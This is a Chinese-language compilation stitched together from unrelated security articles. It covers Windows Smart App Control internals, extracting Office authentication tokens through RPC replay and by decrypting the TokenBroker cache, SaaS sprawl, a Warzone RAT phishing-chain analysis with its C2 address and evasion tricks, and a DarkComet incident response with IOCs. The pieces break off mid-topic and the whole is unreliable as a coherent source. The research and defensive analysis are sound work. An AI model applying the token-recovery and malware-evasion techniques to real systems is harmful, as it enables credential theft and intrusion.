關於這個POLICY_SIGNERS_DATA結構,基本上SI_POLICY結構保留一個POLICY-SIGNERS_DATA數組。這些代表兩種方案的所有Allow和Deny簽名。代碼知道哪些規範適用於哪個場景的方式,這意味著要使用POLICY_SIGNERS_DATA數組的哪個索引是非常聰明的。這是我之前在文件規範中沒有解釋的事情,所以現在是檢查它的好時機。如果你返回並檢查SI_POLICY_SCENARIO結構,將看到對於每個規範類型結構(file, Allow, Deny),都有一個SI_RULES結構,其中包含一個我稱為IndexArray的字段。基本上,這是一個索引數組,用於指示該特定場景和規則必須使用包含數據的數組中的哪個索引。讓我們看一個快速的偽代碼片段,以便更好地理解這一點。

23.png

這可能不是百分之百準確的,因為我省略了很多在中間進行的檢查。

為了更好地了解簽名是如何驗證的,接下來你可以找到POLICY_SIGNERS_DATA的原型,注意,這將適用於允許簽名者和拒絕簽名者。

24.png

通過查看SI_CHAIN_INFO和POLICY_SIGNERS_DATA,你可以或多或少地了解如何在SIPolicyValidateChainAgainstSigner函數中進行比較。最後,為了總結Signer規範的驗證,下面是在SIPolicyValidateChainAgainstSigner條目處使用SAC強制策略驗證ProcessHacker時記錄的映像。

25.png

老實說,為了達到這張圖片的目的,我不得不稍微修改代碼流。因為在第一次簽名檢查時,Type將匹配,然後它將退出循環。之所以會實現這一點,是因為這個POLICY_SIGNERS_DATA中的信息比第一個檢查的要多。在第一次選中時,唯一的填充值是Type(設置為0x14)。我已嘗試查找有關此Type值的信息,但找不到任何信息。

因此,在為每個活動策略和補充策略運行整個過程之後,我們將返回函數CipApplySiPolicyEx,為每個BasePolicy提供一個CI_VALIDATION_RESULT。補充策略的結果將寫入與BasePolicy相同的CI_VALIDATION_RESULT中。此時,該函數只會遍歷驗證結果,將這些結果存儲在validation Context中。此外,此時SmartLocker事件將記錄在函數CiLogSIPolicySmartlockerEvent中。此處可以記錄四種類型的事件:

SmartlockerOperationalAudit(EventId:3091)SmartlockerOperationalFailure(EventId:3092)SmartlockerVerbose(EventId:3088)SmartlockerOperationalSuccess(EventId:3090) 26.png

我們幾乎完成了,現在將進入調用堆棧,將驗證狀態傳遞到上面的函數。最後,我們將回到CI入口點CiValidateImageHeader,與之前一樣,我們不會對這個函數進行過多討論。關於SAC唯一有趣的一點是,如果SigningLevel匹配以下任何一項:

尚未檢查簽名級別;

文件未簽名;

受Windows防禦措施應用程序控制策略信任;

開發者簽名代碼;

SAC結果是允許執行,然後將使用函數CipInstrumentNightsWatchAllow記錄操作。此函數可以為提供程序CodeIntegrity編寫四個基於TraceLogging的事件。具有以下名稱的NWActivityVerbose CodeIntegrity.NWActivity。

27.png

執行此函數時,將記錄QuestionableAllow或Allow。如果採用了記錄QuestionableAllow的路徑,那麼如果所需數據可用,還將寫入QuestionaleAllowSignatureInfoOriginClaimData。

由於這些是基於跟踪日誌記錄的事件,我們需要使用一些特殊辦法來捕獲跟踪。值得慶幸的是,Matt已經做了所有艱苦的工作來研究和記錄這類事件的過程。看了他的文章《Windows RE使用WPP和TraceLogging》 後,我們可以使用powershell中的以下4行代碼來啟動ETW會話,該會話將捕獲NWActivity和NWActovityVerbose提供程序。

28.png

開始跟踪並使用一些應用程序/安裝程序後,你應該有一個可以用EventViewer打開的EventLog,你可以發現防禦措施最終信任ProcessHacker之類的事情。

29.png

總結就個人而言,我認為微軟為提高操作系統的安全性而採取的措施是很好的,其最終目標是讓用戶更加安全。另一方面,我確實看到了SAC和Windows 10 S之間的一些相似之處。對於SAC,當設置為強制時,限制由具有數字簽名的應用程序設置,如果沒有簽名,則由防禦措施雲認為可信的應用程序進行設置。

第一種選擇,即使你知道數字簽名可以很好地驗證應用程序,許多開源項目或自由開發者負擔不起,不幸的是,這給開發者帶來了一些限制。

第二個選項,即對“智能雲安全服務”的查詢,這也是我希望微軟提供更多信息的地方,因為基本上應用程序能否運行的決定將完全取決於微軟。

在這篇文章中,我將介紹我在逆轉Office的身份驗證機制時發現的兩個問題,並提供一些不需要刪除內存的POC工具來幫助恢復存儲的令牌。

微軟賬戶服務我必須承認,當我第一次開始研究這個問題時,刪除我正在運行的Word進程的內存並沒有發現文檔簽名eyJ0eX。這是當前工具用來識別活動令牌的主要方法,我在Windows登錄時使用Microsoft 365帳戶。

事實證明,Microsoft Account (MSA)的身份驗證令牌處理方式與通常的Azure AD SSO帳戶不同。

讓我們從查看經過MSA驗證的Office會話開始,啟動Microsoft Office並查看加載的DLL。其中最突出的是MicrosoftAccountWAMExtension.dll。將這個DLL加載到Ghidra中,我們可以開始尋找為MSA帳戶生成身份驗證令牌的原因。

如果我們在這個DLL中尋找RPC調用,就可以看到一堆被定向到名為wlidsvc的服務:

1.png

不幸的是,微軟並沒有為RPC調用此服務提供IDL(或者根本沒有提供很多信息),所以我們將不得不做一些逆向工程來解決這個問題。

讓我們將WinDBG附加到wlidsc並監視正在進行的RPC調用。在任何Office進程中進行身份驗證之後,我們看到第一個調用是RPC方法WLIDCCreateContext以創建上下文,然後是WLIDCAcquireTokensWithNGC,最後是一系列其他調用,我們將暫時忽略這些調用。

如果我們在後一種方法中添加一個斷點,那登錄到Office中的MSA帳戶會導致命中:

2.png

步進式(Stepping )直到我們點擊ret並檢查填充的參數,在參數12的內存區域中會顯示一些有趣的東西。

3.png

對我來說,這確實是一個像徵!如果我們打開像Fiddler這樣的代理,我們會看到它與Office訪問web服務時使用的身份驗證令牌格式相匹配:

4.png

那麼,我們如何從我們自己的工具中調用它呢?讓我們使用James Forshaw的NtObjectManager生成一個可以使用的存根。

5.png

生成的RPC存根根據Windows版本的不同而不同,這是毫無價值的,例如,在Windows 10中,我們發現字段計數在輸入結構上發生了變化,因此,如果你收到可怕的(0x800706F7) - The stub received bad data.錯誤,請多家留意。

使用RPC客戶端存根創建一個快速的C#應用程序,我們將重播我們之前觀察到的入站RPC調用,並添加參數,這將給我們提供如下內容:

6.png

如果我們稱之為:

7.png

由於這是MSA身份驗證請求,我們將不得不使用Substrate等服務來訪問Microsoft 365服務。旋轉一個代理並在Office中導航是確定調用什麼以及這些web服務採用什麼參數的最佳方式。但你可以看到,passport令牌返回後,我們可以很好地進行身份驗證和交互:

8.png

令牌緩存現在我們已經了解瞭如何恢復MSA,那麼Azure AD呢?通過Lee Christensen的帖子知道,我們可以很容易地按需請求新令牌,但是我們在Office進程中看到的緩存令牌被轉儲了,它們是如何在啟動時加載的呢?

讓我們提供一個新的主機並將我們的用戶帳戶與AzureAD相關聯,然後登錄到Office,再嘗試找出令牌存儲的位置。

9.png

為了確保我們在正確的軌道上,讓我們從內存中轉儲一些字符串,並確保eyJ0eX簽名存在。

10.png

我們再次深入搜索dll,但這次我們將重點關注Windows.Security.Authentication.Web.Core.dll。

這是一個WinRT庫,因此我們需要深入Ghidra了解正在發生的事情。

AddWebTokenResponseToCache方法如下:

11.png

如果我們進一步研究,會發現此方法實際上負責將憑據緩存到序列化文件,這些文件可以在%LOCALAPPDATA%\Microsoft\TokenBroker\Cache中找到。

12.png

好的,讓我們看看這些TBRES文件:

13.png

如果我們使用ProcMon,我們會看到這些文件確實在進程啟動時被Office訪問:

14.png

可以看到,這就是我們的身份驗證信息存儲的地方!查看JSON會發現一個IsProtected字段。在WinDBG中,我們將附加到Office,在CryptUnprotectData上添加斷點並重新啟動。果然,我們發現base64解密數據的內容被解密了。

15.png

JSON文件中我們特別感興趣的字段是ResponseBytes,我添加了一個帶有快速工具的repo,該工具可以解密這些文件,可以在這裡找到。

在使用ProtectedData.Unprotect解密此數據後,我們看到了明文JWT。果然,解密它們會得到我們之前從內存中看到的相同信息:

16.png

來自不同提供者和應用程序的其他令牌也存儲在這些文件中,包括MSA令牌,這也是毫無價值的。

現在我們知道了,Windows和Office用於Live和Azure的認證和緩存會話的幾種不同方法。

POC可以在https://github.com/xpn/WAMBam上找到。

微信截图_20221117135528.png

由於全球大流行帶來的諸多限制,全球企業迅速爭相採用遠程工作解決方案。這種突然的變化不僅改變了企業的日常運營方式,也改變了它們使用工具的方式。該解決方案的一部分包括轉向軟件即服務(Software as a Service,SaaS),以獲得針對不同業務需求的更靈活的選項。

如今,SaaS已經成為應用程序交付方面的標準,因為它可以提供多種好處,包括減少廠商鎖定,更快的價值實現時間,增強的可訪問性、生產力和可擴展性等。

然而,隨著越來越多的公司爭先恐後地採用這種解決方案,管理它的挑戰也在不斷加劇。這就是所謂的SaaS蔓延(SaaS sprawl)。

何為SaaS蔓延(SaaS sprawl)?當網絡上使用的許多第三方雲應用程序無法再由其管理人員有效管理時,就會出現SaaS蔓延。當多個團隊和個人用戶下載應用程序以滿足即時需求時,通常會出現這種現象。這種做法沒有得到公司IT部門的事先批准,可能會導致安全風險。不受監控地使用雲應用程序有可能破壞組織的業務工作流效率。

SaaS蔓延對企業的影響安全與威脅根據最近的一項調查結果顯示,高達75%的IT領導者表示,SaaS蔓延的最大擔憂是安全方面。眾所周知,SaaS應用程序傾向於存儲大量機密數據、客戶財務信息、記錄等。保護這些文件不被損壞或從其他隱藏來源被竊取是非常必要的。因此,請確保您採取了所有的預防措施來保護您的數據,以免為時過晚。

成本與財務負擔有時,員工甚至會在沒有預先檢查公司現有SaaS堆棧的情況下購買SaaS應用程序,這導致了兩個主要問題:一是給定公司中SaaS應用程序數量的增加,二是該公司SaaS的總體支出增加。這給財務部門的預算預測和成本估算帶來了困難。因此,有時很難管理SaaS支出,而且公司經常直到有人發現了這種過度支出的趨勢,才意識到他們在SaaS應用程序上花費了太多資金。

合規危機對於一家公司來說,遵守管理法規以避免任何法律麻煩是非常必要的,這可能包括GDPR、SOC 2或FISMA等,這些法規都要求組織根據其提供的服務類型來保護客戶的敏感和私人信息。而當一家公司無法滿足任何這些要求時,它就會面臨嚴重的商業聲譽受損、訴訟以及其他更多無法挽回的後果。當公司失去對其SaaS堆棧的控制時,如果監控不當,可能會導致數據暴露和各種其他問題。因此,要小心保護您的客戶與您共享的信息。

數據分發與管理困難由於信息在不同應用程序中的分散分佈,SaaS蔓延誘發了數據蔓延的問題。當這種情況發生時,查找所有數據駐留的位置、誰可以訪問數據以及數據的暴露程度就變得非常麻煩。假設你是一名消費者,你發現Dropbox可以更方便地共享和存儲文件,即使你的公司使用的是谷歌Drive。現在,即使你擁有谷歌Drive的全部訪問權限,你也會使用Dropbox存儲和共享數據,而Dropbox很明顯已經超出了IT部門的權限。因此,即使您後來離開公司,數據也可能永遠留在Dropbox中,沒有恢復的機會。即使這看起來是一個微不足道的小問題,但如果沒有及時衡量和糾正,它確實會產生重大影響。

操作錯誤越來越多的應用程序的出現和使用無疑會在員工和IT部門之間造成混亂,此外,它還會導致延遲、效率低下,並以負面的方式影響員工的整體體驗。而當員工受到影響時,他們的生產力以及與不同部門之間的協作也會由此受到影響。因此,建議定期盤點您的組織中跨不同部門使用的所有SaaS應用程序。注意哪些員工在使用這些工具,他們在這些工具上花費了多少時間,以及所有這些必要的細節。

克服和防止SaaS蔓延的方法隨著SaaS解決方案在許多不同行業中變得越來越普遍,了解如何維護其管理至關重要。以下是克服和防止SaaS蔓延的幾種方法。

1.發現所有正在使用的SaaS應用程序創建一個不同項目團隊和跨部門的個人用戶當前正在使用的所有應用程序的清單。這樣做可以清楚地了解您的目錄規模,以及哪些應用程序得到了IT部門的批准。使用軟件資產管理工具也可以幫助您創建全面的審計。

2.跟踪和評估應用的成本和使用情況確定每個應用在整個網絡中的使用成本。通過這一點,您可以確定哪些應用能很好地利用預算,哪些沒有。一些企業可能會發現,在應用程序很少使用的地方,他們需要支付額外的許可。相反的情況也可能發生。

3.使用軟件許可管理(SLM)當同時使用多個第三方雲應用程序時,手動管理所有相關數據和安全檢查可能會非常繁瑣和繁重。但是,通過使用軟件許可證管理工具,您可以有效地、更好地控制您的網絡。

4.使您的IT團隊易於訪問並具有協作性組織的不同部門都有自己運行公司工作流的方式。為了有效地管理所有SaaS應用程序,所有團隊都應該更加協作,並努力了解彼此的需求。這包括創造一個更友好的環境,鼓勵員工在需要的時候與他們的IT部門聯繫。

5. 自動化所有更新和工作流程當使用多個SaaS應用程序時,跟踪各種許可證的每個更新周期可能是一項艱鉅的任務。然而,使用軟件管理工具可以在需要時通過自動化流程來簡化此任務。

6. 標準化所有正在使用的應用程序確定每個部門的不同需求,並創建一個最能滿足這些需求的SaaS應用程序列表。一旦建立,設置一個強制性的規則,這些應用程序只能用於特定的任務,而不能用於其他任何事情。這將有助於避免可能導致安全風險的重複應用程序問題。

7. 規劃SaaS採購流程規劃一個SaaS採購過程,其中只有授權的部門或人員可以授予使用應用程序的訪問權。這將使您更好地了解您的SaaS足跡如何移動,從而更容易跟踪和管理。

8. 利用員工培訓培訓員工如何正確使用每個SaaS應用程序以及它們的局限性。這將使他們更好地了解每個工具和使用未經授權的應用程序的風險。

FortiGuard實驗室最近發現了一封假裝來自匈牙利政府的電子郵件。它通知用戶,他們的政府門戶的新憑證已經附加。然而,附件是一個壓縮的可執行文件,在執行時,它將把Warzone RAT提取到內存中並運行它。在我們最初發現的幾天后,匈牙利國家網絡安全中心也發布了關於這次攻擊的警告。

受影響的平台:Microsoft Windows;

受影響方:Microsoft Windows用戶;

影響:為攻擊者提供遠程訪問;

嚴重級別:高;

感染載體最初的感染是通過模仿匈牙利政府門戶網站的仿冒電子郵件(圖1)發生的。該門戶用於在線開展公務,如提交文件、訂購ID等。

1.png

含有Warzone RAT惡意軟件附件的惡意郵件

電子郵件告訴受害者,他們的憑據已更改,並附上了新的憑據。完整的翻譯是:

2.png

從語言上看,這封郵件是由母語為英語的人寫的,然而這封郵件並沒有使用官方通信應有的語法。

附件是一個zip文件,其中包含一個偽裝為PDF的可執行文件。如上圖所示,該文件包含一個模仿Adobe PDF Reader圖標的圖。文件名以pdf結尾,但擴展名為.exe。然而,在默認的Windows安裝中,文件擴展名是隱藏的,它看起來像一個實際的PDF文件。用戶唯一的警告是文件資源管理器將文件類型顯示為“應用程序”,這意味著它是可執行文件而不是文檔。但這對普通用戶來說可能並不明顯。

3.png

偽裝成PDF的可執行文件

俄羅斯套娃式的混淆當我們開始分析“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”時,我們很快意識到它就像一個俄羅斯套娃混淆,但不是每次打開一個娃娃都會得到一個更小的娃娃,而是得到越來越多的混淆的.NET二進製文件,這就是我們將在本節中看到的。

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”是一個32位的.NET可執行文件。一旦在dnspy(一個著名的.NET反編譯程序)中進行了反編譯,我們就會發現源代碼很簡單,同時也很容易混淆。代碼的一般結構如下圖所示。原始二進製文件可能在重命名為“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”之前被稱為iANO。

4.png

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”的程序結構

代碼顯示了BattleShipLiteLibrary和一個計算器的混合體,這看起來像是桌面遊戲Battleship的實現。下圖顯示了實現計算器的實際代碼。

5.png

計算器的實現

有時它看起來像一個計算器,行為也像一個計算器,但它仍然不是一個真正計算器。在本例中,為計算器設置用戶界面的InitializeComponent()函數也會在最後調用PerformLayout()函數。然後該函數繼續調用ResourceTemplateDefine()函數。

6.png

從資源加載代碼

ResourceTemplateDefine()函數加載名為“Web”的資源。起初,它似乎將其解釋為位圖,但最後,它將其轉換為程序集。如果我們在十六進制編輯器中查看這個資源,我們會看到它有一個位圖標頭。但是當我們進一步觀察時,它還包括MZ字符,這是可移植可執行文件(PE)的神奇值。在底部,我們甚至可以看到臭名昭著的“此程序不能在DOS模式下運行”字符串,這是PE文件的另一個標誌。

7.png

檢查“Web”資源發現它隱藏了一個PE文件

該PE文件從資源中加載。下圖顯示了使用GetMethod()加載它的方法,並調用其中一個方法。另一個圖顯示了在調試器中調用的方法是' sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY() '。

8.png

從PE文件加載並調用特定的方法

9.png

顯示被調用方法名稱的調試器

KeyNormalize.dll“Web”資源中的PE文件的原始名稱是KeyNormalize.dll。從被調用函數的名稱中,我們已經可以預期它是混淆的。由於它是另一個.NET可執行文件,我們可以在dnspy中打開它並輕鬆檢測,並使用SmartAssembly確認它已被混淆。

10.png

使用SmartAssembly混淆器

De4Dot是一個去混淆器工具,在消除二進製文件的混淆方面很有效率。但是,它不能解析混淆的字符串。為此,我們編寫了一個可以解析字符串的定製程序。

在靜態分析KeyNormalize.dll之後,我們看到它從資源加載另一個二進製文件並執行函數調用,如前面所示。

11.png

從資源加載程序集並調用它的一個函數

我們可以恢復二進製文件,並再次使用調試器調用哪個函數。下圖顯示了變量'text6 '中的base64編碼數據,在解碼之後,我們看到它是另一個PE文件。這個PE文件也是一個.NET可執行文件,最初稱為Metall.dll。

12.png

變量' text6 '中的Base64編碼數據

13.png

' text6 '中的數據是另一個PE文件

在調試器中,我們還可以看到在這個新恢復的PE文件中調用了' OwbdG5aNVQQYu6X20i.o9pVsMvoTr75y5TrkE.V4j9c6YCwC() '函數。

Metall.dll在開始分析這個二進製文件之後,我的第一反應如下圖所示。

14.png

metal .dll為遊戲添加了另一層混淆

不用說,metal .dll通過向二進製文件添加控制流扁平化等特性,增加了混淆的程度。當我們談到混淆器時,我們說他們的目標是減緩逆向進程。這在某種程度上是有效的。然而,在本例中,我們可以簡單地採取一個快捷方式,讓二進製文件運行並將其最終有效載荷加載到內存中。這樣,我們可以將其轉儲到一個文件中,以便進一步分析。

WarzoneRAT最終由metal .dll加載到內存中的有效負載是Warzone遠程訪問木馬(RAT)的一個版本。這是一個眾所周知的惡意軟件操作作為惡意軟件服務(MaaS)。它在互聯網上是公開的,任何人都可以通過訂閱模式訪問它。當前的定價如下圖所示。

15.png

Warzone RAT的當前定價

它為其訂戶提供以下功能:

Native,independentstub

CookiesRecovery

RemoteDesktop

HiddenRemoteDesktop-HRDP

PrivilegeEscalation-UACBypass

RemoteWebCam

PasswordRecovery

FileManager

DownloadExecute

LiveKeylogger

OfflineKeylogger

RemoteShell

ProcessManager

ReverseProxy

AutomaticTasks

MassExecute

SmartUpdater

HRDPWANDirectConnection

Persistence

WindowsDefenderBypass

WarzoneRAT通常也被稱為“Ave_Maria Stealer”,因為下圖所示的字符串出現在二進製文件中。

16.png

Ave_Maria Stealer名稱來自於二進製文件中的這個誤導性字符串

嵌入到GitHub的鏈接沒有提供任何有用的東西,這可能只是誤導逆向的另一種方式。

Warzone根據Windows版本提供多種升級權限的方法。其中一個是在同一個二進製文件中實現的,另一個作為WM_DSP資源添加到二進製文件中。如果需要,這將在運行時加載並執行。

17.png

可以在資源中找到一個特權升級漏洞

為了躲避防病毒軟件,Warzone試圖將自己添加到Windows Defender的排除列表中,如下圖所示。

18.png

Warzone將自己添加到防病毒排除列表中

為了建立持久性,它還將自身複製到以下路徑:

C:\Users\Admin\Documents\ Adobe5151.exe

Warzone還使用與其指揮控制服務器的加密通信。過去,加密的密碼/密鑰是字符串' warzone160\x00 '。在此示例中,它已更改為字符串“nevergonnagiveyouup”。所以,受害者在不知不覺的情況下被人用人力推倒。

19.png

使用新密碼進行加密

通過動態分析,C2服務器的地址為171.22.30.72:5151。在我們的內部系統中查找這個IP和端口號,如下圖所示。從這張圖中我們可以看到,這場特別的攻擊活動早在2022年6月20日就開始了。

20.png

訪問地址171.22.30.72:5151

可以看出,攻擊者用一封寫得很好的虛假政府郵件作為誘餌,執行所附的惡意軟件。這種誘惑是經過深思熟慮的,因為它與匈牙利所有使用在線管理門戶的人都相關。

嵌入式.NET二進製文件的russian yoshka doll具有越來越複雜的混淆功能,支持攻擊者越來越依賴現代混淆技術的趨勢。這將導致逆向工程師不得不投入更多的時間來清除和分析惡意軟件。使用Warzone RAT作為最終有效載荷也支持了攻擊者對MaaS服務日益增長的依賴。我們在勒索軟件樣本中看到了類似的趨勢,勒索軟件即服務提供商越來越受歡迎。

如上所述,該活動的最後一個有效載荷Warzone RAT是通過一系列混淆的.NET二進製文件部署的。每個階段都從二進製文件中的某個位置加載下一個階段,對其進行解碼,將其加載到內存中,並調用一個函數將控制流傳遞給下一個階段。這樣的多階段加載程序可能會使動態分析變得困難,因為每次重新啟動惡意軟件樣本時,在不同的階段進行導航都會很困難。為了避免這個問題,我們從各個階段創建了獨立的可執行文件,以實現更高效的調試。這就是我們將在下面討論的。

下圖顯示了Warzone RAT在這一特定攻擊中的部署鏈。釣魚電子郵件包含一個zip文件。該zip文件包含下圖所示的二進製文件。

2.1.png

拆封過程

一旦上一步被執行,它就加載下一步,KeysNormalize.dll一個解壓縮到內存中的.NET動態鏈接庫(DLL)。它通過調用它的一個函數(sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY())來運行。這篇文章討論瞭如何使用調試恢復。一種方法是使用dnspy作為調試器從內存中轉儲KeysNormalize.dll。它被一種叫做SmartAssembly的混淆工具混淆了。

要了解第三階段是什麼(Metal.dll)並將其轉儲到文件中,我們需要能夠調試KeysNormalize.dll。但在此之前,我們還面臨以下挑戰:

我們如何獨立於最初解包並在內存中運行它的可執行文件運行KeysNormalize.dll ?

我們如何為KeysNormalize.dll創建一個環境,讓它可以釋放下一個階段,就像在原始惡意軟件中那樣?

方案1:獨立運行KeysNormalize.dll因為這不是一個.exe文件,我們不能直接雙擊它來運行。此外,原始的.exe文件調用來自KeysNormalize.dll的特定函數,因此我們還必須確保在運行該DLL時調用相同的函數。

有多種方法可以做到這一點。在這種情況下,對我有用的是用c#創建一個包裝器程序,我在其中導入keysnormize . DLL作為一個正常的DLL,並簡單地調用sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY()函數。如果你是一個.NET/C#開發人員,這是非常容易的,而我不是,但如果你不經常這樣做,這可能會很有挑戰性。

設置Visual Studio首先,讓我們啟動Visual Studio並創建一個新的C#控制台應用程序(.NET Framework)項目,然後選擇.NET 4.7.2版本。我們可以調用這個項目dll_wrapper。默認情況下,它加載一個空類。但我們可以將其更改為下圖所示的代碼。

2.2.png

等待擊鍵的基本程序

此代碼將無限期等待按鍵,然後不執行任何操作。將此添加到代碼中的原因是我們無法在調試器中提前添加斷點。這樣,我們可以在程序等待按鍵時中斷執行,然後在需要時添加斷點。

導入KeysNormalize.dll下一步是在項目中包含KeysNormalize.dll。首先,我們將DLL複製到項目文件夾中。

2.3.png

將KeysNormalize.dll複製到項目文件夾中

我們還需要添加對KeysNormalize.dll的引用,這可以在Project-Add Project Reference-Browse-Choose the KeysNormalize.dll下完成。 KeysNormalize現在應該出現在SolutionExplorer的References下,如下圖所示。

2.4.png

將對DLL的引用添加到項目中

現在我們應該可以開始在項目中使用KeysNormalize.dll了。我們需要調用以下函數(我們從對原始二進製文件的分析中了解到這一點,這裡不討論):

sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY('4F515364','746771','BattleshipLiteLibrary');

為此,我們首先需要導入sk41Ua2AFu5PANMKit,這是Program.cs中KeysNormalize中的命名空間。接下來,我們將上面的函數調用添加到按鍵循環之後的代碼中,如下圖所示。

2.5.png

導入庫並調用目標函數

如果運行此程序,則表示正在執行惡意負載,因此只能在隔離的安全系統上運行。

我們現在可以構建一個x86版本的二進製文件。如果我們運行該程序,無論是在Visual Studio中還是單獨運行,它都會崩潰並拋出異常,如下圖所示。

2.6.png

未找到資源,導致異常

從錯誤消息中,我們看到沒有找到BattleshipLiteLibrary.Properties.Resources.resources。該資源存在於第一階段二進製文件“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”或“iANO”中。

2.7.png

iANO二進製文件中的資源

這很有趣,因為這意味著儘管KeysNormalize是一個獨立的DLL,但它不能單獨工作。

方案2:創建BattleshipLiteLibrary.Properties.Resources.resources為了克服資源問題,我們需要滿足KeysNormalize.dll的需求,並創建一個名為BattleshipLiteLibrary.Properties.Resources.resources的資源。這並不像看上去那麼簡單。資源名的構建方式如下:

一、準備階段1.1 基本情況DarkComet (暗黑彗星)是由Jean-Pierre Lesueur(稱為DarkCoderSc)開發的遠程訪問木馬(稱為RAT),在2012 年初開始擴散,它用於許多有針對性的攻擊,能夠通過網絡攝像頭拍照,通過連接到PC 的麥克風竊聽對話,並獲得對受感染機器的完全控制。該RAT 還以其鍵盤記錄和文件傳輸功能而聞名,因此,任何遠程攻擊者都可以將任何文件加載到受感染的機器上,甚至竊取管理員權限、計算機/用戶名、語言/國家、操作系統信息、使用的內存、網絡攝像頭信息、文檔等。它會禁用任務管理器、註冊表編輯器和文件夾選項,修改註冊表項以禁用Windows 防火牆設置,此操作允許此惡意進程執行而不會被Windows 防火牆檢測到。別名有:Fynloski、Krademok、DarkKomet 等。

1.2 功能DarkKomet 主要功能:遠控,對用戶行為進行監控並為攻擊者開啟SYSTEM 後門,竊取用戶信息並回傳竊取的信息發送給攻擊者,同時還可以下載其他惡意軟件。

1.3 傳播方式DarkKomet 將自身偽裝成筆記本電腦觸控板的驅動程序Synaptics Pointing Device Driver,啟動後,會全盤遍歷exe 文件、xlsx 文件,並將目標文件更新到病毒資源中,將shellcode 注入的圖標資源替換為目標文件圖標,然後用病毒文件覆蓋目標文件,完成感染,實現不死及復生能力。並可通過U盤插入、xlsx 文件分享、遠控軟件捆綁實現橫向擴散,具有極強傳播能力。

二、檢測階段1.jpeg

貨拉拉終端應急響應檢測機制基於TTP驅動、離群數據驅動、殺毒事件驅動、威脅情報驅動混合。該次事件由EDR收集終端全量啟動項數據,結合威脅情報接口,實現終端權限維持數據基線的分鐘級掃描。高危事件通過webhook 實現IM告警,方便安全運營人員實時接入處置,並通過工單記錄匯總。

聚合N day內該病毒感染的終端量及感染者的賬號、用戶名、部門等信息,最終由多條alert形成單條完整incident。

2.jpeg

通過webhook/工單形式將消息推送給終端安全運營人員對事件進行下鑽,IOC/TTP加入EDR實時檢測阻斷規則,完成由單次事件檢測—— 一類事件阻斷的事件閉環。

三、抑制階段3.1 事件的處置1、攔截回連c2域名、IP,中斷連接。

2、遠程接入應急溯源,獲取TTP。

四、根除階段4.1 刪維權該病毒通過Run 鍵實現到權限維持(開機自啟動),刪除啟動項

3.jpeg

4.2 清進程結束2 個Synaptics.exe進程

4.jpeg

4.3 刪文件進入DarkKomet 文件目錄,只有WS文件夾,卻找不到相關可執行文件

5.jpeg

懷疑DarkKomet隱藏自身,取消勾選【隱藏受保護的操作系統文件】並選中【顯示隱藏文件】

6.jpeg

被隱藏的病毒文件Synaptics.exe顯形,

7.jpeg

刪除文件,提示需要SYSTEM權限(高於Administrator),病毒文件通過修改文件屬主及文件權限實現強行駐留

8.jpeg

修改文件屬主為administrator並繼承權限後,刪除病毒文件

微信图片_20221202152016.png

4.4 溯源頭清除威脅後,溯源入口點,從取證角度獲取2022-05-17 16:29:30 運行軟件信息,發現可疑文件路徑

F:\柯美黑白機64位系統\

10.jpeg

可疑點:該文件位於F盤,且運行時間與病毒創建時間密切相關,但用戶終端上卻只有C、D、E盤。

12.jpeg

猜測該盤為第三方便攜插入式U盤,諮詢用戶後得到【安裝打印機】細節。

由此推測:該病毒原本位於U盤中,安裝打印機時插入U盤,U盤內的病毒自動感染終端位於C盤的文件,實現橫向擴散。

由於該病毒具有感染性,推測還感染了其他文件。通過遍歷NTFS文件系統MFT-TIME,獲取2022-05-17 16:29:30 - 2022 - 05 -17 16:29:40 創建及修改的所有文件,獲取被感染文件信息

13.jpeg

通過日誌回溯取證,發現f:\京瓷複印機\Kx6111118_en\setup.exe入駐Run鍵,創建病毒文件C:\ProgramData\Synaptics\Synaptics.exe,並將Synatics.exe添加啟動項。由此映證猜測,C2病毒感染源頭為安裝打印機時插入U盤。

五、恢復階段1、清除被感染的'_cache_'文件

2、IOC/TTP 加入EDR、殺毒,複驗攻擊能被實時阻斷。

3、受損用戶更改密碼

六、總結階段IOC:

DNS:xred.mooo.com

IP:69.42.215.252

TTP:

14.jpeg

6.1 歷史事件某用戶請第三方安裝師傅安裝打印機,插入U 盤後,U 盤中已存在的DarkKomet 組織synaptics 病毒自動運行,進而感染終端位於C 盤下的十餘個進程及文件。

某員工下載被投毒的todesk 進行遠程辦公【具有todesk 功能,實為synaptics 遠控病毒新變種】,導致感染synaptics 病毒。

某員工下載CAD 破解軟件,其中夾雜最新版synaptics 病毒。

.

本輪synaptics 應急響應,終端產生的威脅主要來自:U 盤擴散、軟件投毒捆綁這兩種形式。病毒最明顯特徵為:未簽名進程C:\ProgramData\Synaptics\Synaptics.exe 入駐Run鍵以權限維持。

當下階段,利用人性弱點進行投毒的事件層出不窮。針對員工高頻安裝的瀏覽器類、IM類、運維工具類、遠程控制類軟件,需做好軟件與對應簽名的映射驗證,並針對高危場景離群數據進行威脅狩獵。輔以外部/內生威脅情報,構建濾網機制,對啟動項軟件流水加以管控。實現啟動項快照機制,對未知/離群/高危/權限維持數據定時清理,在提升攻擊者成本的同時,也增加檢測/阻斷未知攻擊的可能。

惡意軟件開發者通常會使用各種技巧使分析工作變得更加困難。這些技巧包括使逆向工程複雜化的混淆技巧、逃避沙箱的反沙箱技巧、繞過靜態檢測的打包技巧等。多年來,各種惡意軟件在野外使用的無數欺騙手段都記錄了這一點。然而,儘管有許多可用的技巧,但在典型的惡意軟件中很少實現這些技巧。

本文就以Roshtyak 後門為例介紹惡意軟件的自保護、殺軟逃逸技巧。 Raspberry Robin於2021年9月首次被發現,通過受感染的USB設備傳播。本文的主題是一個我們稱為Roshtyak 的後門,它不是典型的惡意軟件。 Roshtyak 反分析設計很多。有些是眾所周知的,有些是我們從未見過的。從技巧角度來看,Roshtyak 的自我保護非常有趣。 Roshtyak 屬於我們見過的反分析最成功的的惡意軟件之一。我們希望通過發布我們對惡意軟件及其保護技巧的研究和分析,幫助其他研究人員識別和應對類似的技巧,並強化他們的分析環境,使他們對所描述的繞過技巧加強防護。

